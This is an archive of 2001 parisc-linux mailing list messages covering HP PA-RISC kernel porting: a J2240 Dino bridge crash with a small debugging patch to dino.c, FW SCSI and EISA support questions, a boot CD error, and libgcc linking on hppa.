Original-Received: from beavis.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AD3F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 May 2001 23:15:29 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id BDA89BE00; Tue, 15 May 2001 23:15:19 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <20010513141405.A25241@beavis.ybsoft.com>; from rbrad@beavis.ybsoft.com on Sun, May 13, 2001 at 02:14:05PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11053

--u3/rZRmxL6MmkK24
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Douglas,

I had a chance to chat with Grant, and we have a couple of ideas, but
we need some more info first.  Grant says the IO_ADDR_EN is supposed
to be set by the PDC ... but if no devices exist on the PCI bus below
the dino, it is possible the IO_ADDR_EN could be 0.  If this is the
case, then we need to move the BUG() to a different spot in code.

Grant thinks a possible reason the J2240 crashes is because the
rs232 port could both be on the dino and the cujo buses ... and we
do not currently support that configuration.  I'm not sure if work is
being done in that area yet or not ... hopefully someone on this list
will pipe up if they are working on it.

I have attached a small patch that will hopefully confirm our thoughts
about the IO_ADDR_EN BUG() that I hope you will try out and report
back the results.  And hopefully someone is working on providing 
rs232 port support for the dino/cujo busses.

Sorry we do not have a better answer for you.

- Ryan

On Sun, May 13, 2001 at 02:14:05PM -0600, Ryan Bradetich wrote:
> Douglas,
> 
> I glanced through the dino.c code and found the following comment:
> 
> /*
> ** If hversion is what is read from Dino, we should be OK.
> ** If it's what PDC told us, J2240 PDC reports the hv_model wrong
> ** for the first Dino.  I think it reports 0x05d.  <sigh>...
> **
> 
> This comment appears to apply to the bug you are seening since this 
> device shows up in your inventory. 
> 
> > 13. Unknown device (13) at 0xfc000000, versions 0x5d, 0x3, 0xa, 0x0, 0x0
> > Dino version J2240 (bridge mode) found at 0xfc000000
> 
> I will take a look at it some more later today to see if I can figure
> it out, but Grant Grundler probably already knows how to fix the problem :)
> 
> Thanks,
> 
> - Ryan
> 
> On Mon, May 14, 2001 at 05:33:10AM +1000, Douglas T. Crosher wrote:
> > Ryan Bradetich wrote:
> > ...
> > > I have to fess up on this one, since this machine uses both the
> > > ccio-dma driver and the 32-bit pdc translator :)  I hve been testing
> > > on a C200 that uses the ccio-dma driver and the 32-bit translator
> > > also ... but I have not been able to boot the machine with a 64-bit
> > > kernel yet.  I think it is a problem with the ccio-dma driver, but
> > > I have been unable to find the error yet.
> > > 
> > > Booting the machine with a 32-bit kernel should work fine ... if it
> > > does not, post the output to the list again we can try to help debug
> > 
> > Below is the output for the 32 bit kernel which proceeds in
> > a similar manner to the 64 bit kernel and has the same problems.
> > 
> > Regards
> > Douglas Crosher
> > 
> > -=-=-
> > 
> > HARD Booted.
> > palo ipl <> Sun May 13 11:53:13 EST 2001
> > 0/vmlinux 2614364 bytes @ 0x6800
> > 0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
> > console=ttyS0'
> > Kernel: partition 0 file /vmlinux
> > ELF32 executable
> > Entry 00100000 first 00100000 n 5
> > Segment 0 load 00100000 size 1516512 mediaptr 0x1000
> > Segment 1 load 00274000 size 181808 mediaptr 0x174000
> > Segment 2 load 002a4000 size 219576 mediaptr 0x1a1000
> > Segment 3 load 002dc000 size 8192 mediaptr 0x1d7000
> > Segment 4 load 0030a068 size 75520 mediaptr 0x1d9068
> > branching to kernel entry point 0x00100000
> > Set default PSW W bit to 0
> > PDC Console Initialized
> > Linux version 2.4.0 () (gcc version 3.0 20010427 (prerelease)) #8 Mon May 14
> > 05:02:36 EST 2001
> > FP[0] enabled: Rev 0 Model 14
> > The 32-bit Kernel has started...
> > Determining PDC firmware type: Newer Box
> > setup_cmdline(0x64cc4,0x64cc4,0x0,0x0)
> > PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
> > console=ttyS0'
> > PALO initrd 0-0
> > model   00005b50 00000491 00000000 00000002 77c5684a 100000f0 00000008 000000b2
> > 000000b2
> > vers    00000501
> > cpuid   000001d7
> > CPUID   vers 14 rev 23
> > model   9000/782/J2240
> > Total Memory: 96 Mb
> > initrd: 00000000-00000000
> > pagetable_init
> > On node 0 totalpages: 24576
> > zone(0): 24576 pages.
> > zone(1): 0 pages.
> > zone(2): 0 pages.
> > led_init: chassis info: model=0 (LCD), lcd_width=16, cmd_delay=40, actcnt=32,
> > maxcnt=32
> > led_init: min_cmd_delay = 40 uS
> > LCD display at f0190000,f0190001 registered
> > Searching for devices...
> > Found devices:
> > 1. SummitHawk Dino RS-232 (10) at 0xfc003000, versions 0x5d, 0x0, 0x8c, 0x0, 0x0
> > 2. SummitHawk Dino RS-232 (10) at 0xf1607000, versions 0x5d, 0x0, 0x8c, 0x0, 0x0
> > 3. SummitHawk 230 Core BA (11) at 0xffd00000, versions 0x5c, 0x0, 0x81, 0x0,
> > 0x0,  additional addresses: 0xffd0c000 0xffc00000 
> > 4. SummitHawk 230 Core SCSI (10) at 0xffd06000, versions 0x5c, 0x0, 0x82, 0x0,
> > 0x0
> > 5. SummitHawk 230 Core Centronics (10) at 0xffd02000, versions 0x5c, 0x0, 0x74,
> > 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 
> > 6. SummitHawk 230 Core Audio (10) at 0xffd04000, versions 0x5c, 0x4, 0x7b, 0x0,
> > 0x0
> > 7. SummitHawk 230 Core PC Keyboard (10) at 0xffd08000, versions 0x5c, 0x0, 0x84,
> > 0x0, 0x0
> > 8. SummitHawk 230 Core PC Keyboard (10) at 0xffd08100, versions 0x5c, 0x0, 0x84,
> > 0x0, 0x0
> > 9. U2-IOA BC GSC+ Port (7) at 0xfc03f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
> > 10. U2-IOA BC GSC+ Port (7) at 0xf163f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
> > 11. Cujo PCI Bridge (13) at 0xf1604000, versions 0x682, 0x1, 0xa, 0x1, 0x0
> > 12. Dino PCI Bridge (13) at 0xfc004000, versions 0x680, 0x3, 0xa, 0x0, 0x0, 
> > additional addresses: 0xfc800000 
> > 13. Unknown device (13) at 0xfc000000, versions 0x5d, 0x3, 0xa, 0x0, 0x0
> > 14. U2-IOA BC Runway Port (12) at 0xfff88000, versions 0x580, 0xf, 0xb, 0x1,
> > 0x50
> > 15. U2-IOA BC Runway Port (12) at 0xfff8a000, versions 0x580, 0xf, 0xb, 0x1,
> > 0x50
> > 16. SummitHawk U+ (0) at 0xfffa0000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
> > 17. SummitHawk U+ (0) at 0xfffa2000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
> > 18. SummitHawk Memory (1) at 0xfffb1000, versions 0x83, 0x0, 0x9, 0x0, 0x0
> > That's a total of 18 devices.
> > CONFIG_SMP=n  ignoring additional CPUs
> > Warning : device (0, 0x5b5, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
> > CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
> > Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
> > console=ttyS0
> > Calibrating delay loop... 470.22 BogoMIPS
> > Memory: 94416k available
> > Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
> > Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
> > Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
> > Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
> > POSIX conformance testing by UNIFIX
> > Lasi version 0 at 0xffd00000 found.
> > Initializing Lasi PS/2-keyboard port at 0xffd08000...
> > Support for Lasi PS/2-psaux not yet available !
> > Dino version 3.1 (bridge mode) found at 0xfc004000
> > Dino version J2240 (bridge mode) found at 0xfc000000
> > dino_bridge_init: IO_ADDR_EN hasn't been configured.
> > kernel BUG at dino.c:795!
> > ccio found U2 I/O MMU at 0xfff88000
> > io_io_high: 0xfff80000 io_io_low: 0xf4000000
> > ccio found U2 I/O MMU at 0xfff8a000
> > io_io_high: 0xf4000000 io_io_low: 0xf1600000
> > Linux NET4.0 for Linux 2.4
> > Based upon Swansea University Computer Society NET3.039
> > Starting kswapd v1.8
> > pty: 256 Unix98 ptys configured
> > lp: driver loaded but no devices found
> > RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> > Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI
> > enabled
> > busdevice_alloc_irq(0x102e0244): No known LASI/ASP/WAX owns device at 0xfc003000
> > !
> > IRQ not found for serial device at 0xfc003000
> > Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
> > or similiar
> > busdevice_alloc_irq(0x102e027c): No known LASI/ASP/WAX owns device at 0xf1607000
> > !
> > IRQ not found for serial device at 0xf1607000
> > Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
> > or similiar
> > 
> > Dumping Stack from 10034000 to 10034a80:
> > 4000 00000000 00000040 00000000 00000000 10289440 00000001 00000000 ffffffff
> > ...
> > 4a60 00000000 00000000 10108c2c 10106744 11111111 00000000 3e743615 25db7828
> > 
> > Kernel Fault: Code=26 regs=10034840 (Addr=00000004)
> > 
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001100000000000001110
> > r0-3     00000000 102e30c0 1010cd98 10297194
> > r4-7     0000ffff 0000002f 00000000 0000000f
> > r8-11    00002000 102f8d64 0004000e 102a4674
> > r12-15   000000f2 000000fa f0140000 00000007
> > r16-19   f000173c f0000218 f0000210 ffffffff
> > r20-23   1029c11c 102f59e8 101f1750 ffffffff
> > r24-27   0000002f 0000ffff 00000000 10274010
> > r28-31   00000000 0000002f 10034a80 1010cd98
> > sr0-3    00000000 00000000 00000000 00000000
> > sr4-7    00000000 00000000 00000000 00000000
> > 
> > IASQ: 00000000 00000000 IAOQ: 101f177c 101f1780
> >  IIR: 0cc81099    ISR: 00000000  IOR: 00000004
> > ORIG_R28: 55555555
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> > 
> 
> -- 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 

--u3/rZRmxL6MmkK24
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="dino.patch"

Index: dino.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/gsc/dino.c,v
retrieving revision 1.26
diff -u -p -r1.26 dino.c
--- dino.c	2001/03/11 07:05:59	1.26
+++ dino.c	2001/05/16 04:59:37
@@ -786,15 +786,19 @@ dino_bridge_init(struct dino_device *din
 	
 	io_addr = gsc_readl(dino_dev->hba.base_addr+DINO_IO_ADDR_EN);
 
+	printk("%s() addr: %p hver: 0x%x sver: 0x%x io_addr: 0x%x\n", __FUNCTION__, dino_dev->hba.base_addr,
+	       dino_dev->hba.iodc_info->hversion, dino_dev->hba.iodc_info->sversion, io_addr);
 	for ( ; ((bmask & io_addr) == 0) && (bpos <33); 
 		bmask<<=1, bpos++) { 
 	};
 
+#if 0
+	/* FIX ME .... this does not need to be checked here. */
 	if (bpos == 33) {
 		printk(KERN_WARNING "%s: IO_ADDR_EN hasn't been configured.\n", __FUNCTION__ );
 		BUG();
 	}
-	
+#endif
 	/*
 	** Calculate the base of the Host I/O address range
 	** Dino will forward to the PCI bus.

--u3/rZRmxL6MmkK24--




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW SCSI on 735
Date: Wed, 16 May 2001 15:29:24 +1000
Lines: 36
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C729B2@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620120 19369 80.91.229.3 (22 Nov 2014 01:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:20 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 15 23:29:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bastion.qld.csiro.au (bastion.qld.csiro.au [140.253.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59803482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 May 2001 23:29:48 -0600 (MDT)
Original-Received: from bastion.qld.csiro.au (localhost [127.0.0.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id PAA23644
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 May 2001 15:29:45 +1000 (EST)
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id PAA23628
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 May 2001 15:29:41 +1000 (EST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2650.21)
	id <KR4CHYWZ>; Wed, 16 May 2001 15:29:31 +1000
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11054

Sorry to be sending this to the list, but I wasn't sure who other than
Richard needs to see it.

This has been asked before, by me, but I'd really like to get this going
soon. I was under the impression that Richard Hirst was to be receiving a
735 in the last week or so. If so, how's progress on the FW scsi support
going Richard (that was only a little bit tongue-in-cheek). Otherwise, I was
also under the impression that someone (can't remember who now, which is why
I'm sending this to the list rather than directly to the individual) was
going to be organising some doc's on the Outfield chip for me (or, at least,
some sort of NDA in anticipation of said docs). Is there any progress on
this? Who do I have to prod (unfortunately away from real development work)
to get this in my hands? 

If this has to wait until after the official release, that's fine, just let
me know; I'll be tied up with other things for a few weeks anyway, but I
just wanted to get the ball rolling again, and to let y'all know I'm still
keen on this.

A related note: is there support for the EISA bus in this machine, or will
that come when(if) outfield is fully supported? I'd really like to be able
to run ISA network cards in my machine (even if there's only support for
something as basic as NE2000!).

Great work guys - still can't believe I can boot this machine with Linux!

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069
ph:  (07) 3327 4685     fax:  (07) 3327 4455
email:  m.vandewerken@cat.csiro.au




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Lansden" <joel@digitalparadise.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help with bootable CD
Date: Wed, 16 May 2001 00:28:54 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <GAENJIFENGKGOINJAONFIEOACAAA.joel@digitalparadise.net>
Reply-To: <joel@digitalparadise.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620120 19372 80.91.229.3 (22 Nov 2014 01:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:20 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 15 23:30:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server1.digitalparadise.net (unknown [206.157.222.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01460482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 May 2001 23:30:25 -0600 (MDT)
Original-Received: from carmen (carmen [206.157.222.54])
	by server1.digitalparadise.net (8.11.0/8.8.7) with SMTP id f4G4TgC03130
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 May 2001 23:29:42 -0500
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11055

Greetings all!

I am getting an error message when I try to boot my 9000 box from this
CD I created from the ISO image.  The error message is:

	"Can't select default wide mode, PDC_PSW call does not work"

I'm not sure what information I need to provide about my system
to aid in possibly resolving this, but if anyone could help me out
I would really appreciate it.

Thanks a million!
joel@digitalparadise.net




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa-linux libgcc
Date: Wed, 16 May 2001 21:10:20 +0930
Lines: 27
Approved: news@gmane.org
Message-ID: <20010516211020.M14368@squeak.one.net.au>
References: <200105160850.f4G8oer12233@debye.wins.uva.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620121 19374 80.91.229.3 (22 Nov 2014 01:35:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mark Kettenis <kettenis@science.uva.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 16 05:36:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob03.one.net.au (mail-ob03.one.net.au [61.12.0.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D353482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 May 2001 05:36:01 -0600 (MDT)
Original-Received: Received: [from squeak.local (async138-ade-isp-2.nas.one.net.au [203.101.90.139])
	by mail-ob03.one.net.au  with SMTP id f4GBZu021526
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 May 2001 21:35:57 +1000 (EST)]
Original-Received: (qmail 29789 invoked by uid 179); 16 May 2001 11:40:20 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <200105160850.f4G8oer12233@debye.wins.uva.nl>; from kettenis@science.uva.nl on Wed, May 16, 2001 at 10:50:40AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11056

On Wed, May 16, 2001 at 10:50:40AM +0200, Mark Kettenis wrote:
>    When building shared libs, hppa-linux needs to link against the static
>    version of libgcc to pick up millicode routines.  hppa-linux doesn't
>    currently support a shared libgcc because millicode functions cannot
>    be exported from a shared lib due to the ABI (linker and dynamic linker
>    really).  To successfully use a shared libgcc, we'd need to link against
>    _both_ libgcc_s.so and libgcc.a, which is a pain.
> 
> Did you consider using a linker script for libgcc_s.so instead of the
> usual symbolic link to libgcc_s.so.0?

No.  I mainly considered fixing the linker to support calls to millicode
in shared libs, but didn't get one of those round tuits.  :-(

>  The contents of libgcc_s.so
> would be something like:
> 
>   GROUP ( libgcc_s.so.0 libgcc.a )
> 
> Glibc uses a similar trick (take a look at /usr/lib/libc.so), and it
> seems to work fine.

Thanks.  That's a good idea.





From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Douglas T. Crosher" <dtc@scieneer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240?
Date: Thu, 17 May 2001 01:17:58 +1000
Organization: Scieneer Pty Ltd
Lines: 29
Approved: news@gmane.org
Message-ID: <3B029A26.7323124B@scieneer.com>
References: <3AFE1F8B.725C1B8B@scieneer.com> <20010513122336.A25045@beavis.ybsoft.com> <3AFEE176.28EBFC7A@scieneer.com> <20010513141405.A25241@beavis.ybsoft.com> <20010515231519.A32007@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620121 19375 80.91.229.3 (22 Nov 2014 01:35:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 16 09:18:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw.scieneer.com (gw.scieneer.com [203.44.134.129])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD535482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 May 2001 09:18:38 -0600 (MDT)
Original-Received: from scieneer.com (IDENT:dtc@dtc-pc.scieneer.com [10.0.0.100])
	by gw.scieneer.com (8.11.0/8.8.7) with ESMTP id f4GFHwH07897;
	Thu, 17 May 2001 01:17:58 +1000
Original-Sender: dtc@scieneer.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.3-pre2 i686)
X-Accept-Language: en-GB, en
Xref: news.gmane.org gmane.linux.ports.parisc:11057

Ryan Bradetich wrote:
...
> I had a chance to chat with Grant, and we have a couple of ideas, but
> we need some more info first.  Grant says the IO_ADDR_EN is supposed
> to be set by the PDC ... but if no devices exist on the PCI bus below
> the dino, it is possible the IO_ADDR_EN could be 0.  If this is the
> case, then we need to move the BUG() to a different spot in code.
...
> I have attached a small patch that will hopefully confirm our thoughts
> about the IO_ADDR_EN BUG() that I hope you will try out and report
> back the results.  And hopefully someone is working on providing
> rs232 port support for the dino/cujo busses.

Here is the relevant output with you patch applied:

...
Dino version 3.1 (bridge mode) found at 0xfc004000
dino_bridge_init() addr: fc004000 hver: 0x680 sver: 0xa io_addr: 0x2000000
Dino version J2240 (bridge mode) found at 0xfc000000
dino_bridge_init() addr: fc000000 hver: 0x5d sver: 0xa io_addr: 0x0
...

Thanks for looking into it.

Regards
Douglas Crosher




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with bootable CD
Date: Wed, 16 May 2001 11:42:32 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <200105161742.LAA10292@puffin.external.hp.com>
References: <GAENJIFENGKGOINJAONFIEOACAAA.joel@digitalparadise.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620121 19378 80.91.229.3 (22 Nov 2014 01:35:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel@digitalparadise.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 16 11:49:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C07E9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 May 2001 11:49:35 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA10292;
	Wed, 16 May 2001 11:42:32 -0600
In-Reply-To: Your message of "Wed, 16 May 2001 00:28:54 CDT."
             <GAENJIFENGKGOINJAONFIEOACAAA.joel@digitalparadise.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:11058

"Joel Lansden" wrote:
> I am getting an error message when I try to boot my 9000 box from this
> CD I created from the ISO image.  The error message is:
> 
> 	"Can't select default wide mode, PDC_PSW call does not work"
> 
> I'm not sure what information I need to provide about my system

In general, complete console log from a serial console.
But in this case "model" string should do. (eg 9000/800/A500-44)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.6.1 isos
Date: Wed, 16 May 2001 20:05:56 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD892B@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620122 19380 80.91.229.3 (22 Nov 2014 01:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	parisc-linux-announce@lists.parisc-linux.org
To: "'puffin-t@esiee.net'" <puffin-t@esiee.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 16 12:08:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 44EE3482A; Wed, 16 May 2001 12:08:10 -0600 (MDT)
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d538f9c2e98@epirel991.europay.com>;
 Wed, 16 May 2001 20:07:43 +0200
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <LBC15G0C>; Wed, 16 May 2001 20:07:40 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11059

Dear all,

Nice job regarding STI release (I just test it for now). The problem I met
with install-config with 0.6 CD seems to be solved: great :)

Just to mentioned that the preinstall of whiptail and modconf was not happy.
I just try to install debhelper which request lynx. And the install of lynx
loop because of frontend and whiptail. As work around I removed those
packages (replace with dialog). It works (without and with dialog).

I also try vmlinux712+son+mouse.
It runs but STI console was not initialize?
I would like to help more about this but I never find the right .config file
to recompile the right cvs linux which works properly with STI console of my
B180 (as do so well your kernel)(I already test all tips of the mailing-list
know till one month). Could you help me? (by sending me your .config and the
cvs date for example)

!!! I just try binutils_2.11.90.0.7-2.99_hppa.deb but as failed on 'bus
error' !!!

I also install XFREE86-4.0.3 from debian pool site (with an STI console it
would be nice) but xf86config did not write /etc/X11/XF86config-4? Is some
one have some working XF86config-4 to let me try further?


Kind regards,

	Joel


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:17:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with bootable CD
Date: Wed, 16 May 2001 12:57:26 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200105161857.MAA10761@puffin.external.hp.com>
References: <GAENJIFENGKGOINJAONFOEOBCAAA.joel@digitalparadise.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620122 19384 80.91.229.3 (22 Nov 2014 01:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel@digitalparadise.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 16 13:05:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23A11482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 May 2001 13:05:11 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA10761;
	Wed, 16 May 2001 12:57:26 -0600
In-Reply-To: Your message of "Wed, 16 May 2001 13:13:03 CDT."
             <GAENJIFENGKGOINJAONFOEOBCAAA.joel@digitalparadise.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:11060

"Joel Lansden" wrote:
> I have an H50 with 256Mb Memory, 4 C2490A 2gb hard drives, and a regular HP
> SCSI CD-ROM.
> Does this help at all?

